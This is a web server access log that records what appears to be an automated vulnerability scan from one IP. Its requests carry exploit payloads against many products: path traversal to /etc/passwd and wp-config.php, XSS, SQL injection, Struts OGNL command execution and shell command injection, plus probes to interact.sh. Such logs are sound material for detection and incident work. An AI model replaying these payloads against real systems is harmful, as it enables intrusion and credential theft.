[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:15 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jsmol2wp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /en/php/usb_sync.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /imcat/root/tools/adbug/binfo.php?phpinfo1 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /XMLCHART HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927527834 HTTP/1.1" -
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws_utc/resources/setting/options HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/lcmServiceController.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-payeezy-pay/donate.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/complexassetmaker&cs_imagedir=qqq\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantisBT/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/includes/status-list-mo%3Ciframe%20src%3D%22javascript%3Aalert%28document.domain%29%22%3E.vm HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/downmix.inc.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /GponForm/diag_Form?images/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/file:%2f%2f/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /session/login HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/380DIE1AZFSnn4nUiz780h4Rdoe.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anchor/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /node_modules/../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkstatus; HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirector.php?url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=Login&module=Users&print=a&%22%2F%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1'+AND+EXTRACTVALUE(22,CONCAT(0x7e,md5(839684711)))--+X HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tag_test_action.php?url=a&token&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field} HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp-security-audit-log/failed-logins/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/options-general.php?page=smartcode HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /soap.cgi?service=whatever-control;curl HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.../.../.../.../.../.../.../.../.../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/bamegamenu/ajax_phpcode.php?code=print(md5(999999999)) HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/mysql2i/mysql2i.func.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signup?next=http://interact.sh/?app.scan/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clock_status.php?current_page=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /printenv.shtml?%3Cscript%3Ealert%281316929493%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/generate.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /http%3A%2F%2Fwww.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /timesheet/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /device.rsp?opt=user&cmd=list HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/scripts/login_par.js HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?id=Qe9j3w%25{128*128} HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5cgoogle.com/evil.html HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927525349 HTTP/1.1" -
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter&nodeFilteringType=ALL&nodeFilter&launcherFilteringType=ALL&launcherFilter&causeFilteringType=ALL&causeFilter&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20- HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448 HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/filemanager?path=%2F..%2f..%2fContent HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /config/pw_snmp_done.html HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/babel/redirect.php?newurl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //myaccount/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..../..../..../..../..../..../..../..../..../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /crowd/admin/uploadplugin.action HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /free_time_failed.cgi?err_msg=<script>alert(document.domain);</script> HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ws_utc/resources/setting/keystore HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /free_time.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LetsEncrypt/Index?fileName=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /checkValid HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW HTTP/1.1" 199
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Uploads/380DIBsfISNRhkcITz6pabu9GQJ.php7 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantisbt-2.3.0/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wan.htm HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /NateMail.php HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /share/page/dologin HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?destpage=\"<h1xxx\"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1" 226
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms:// HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WealthT24/GetImage?docDownloadPath=/etc/passwd HTTP/1.1" 196
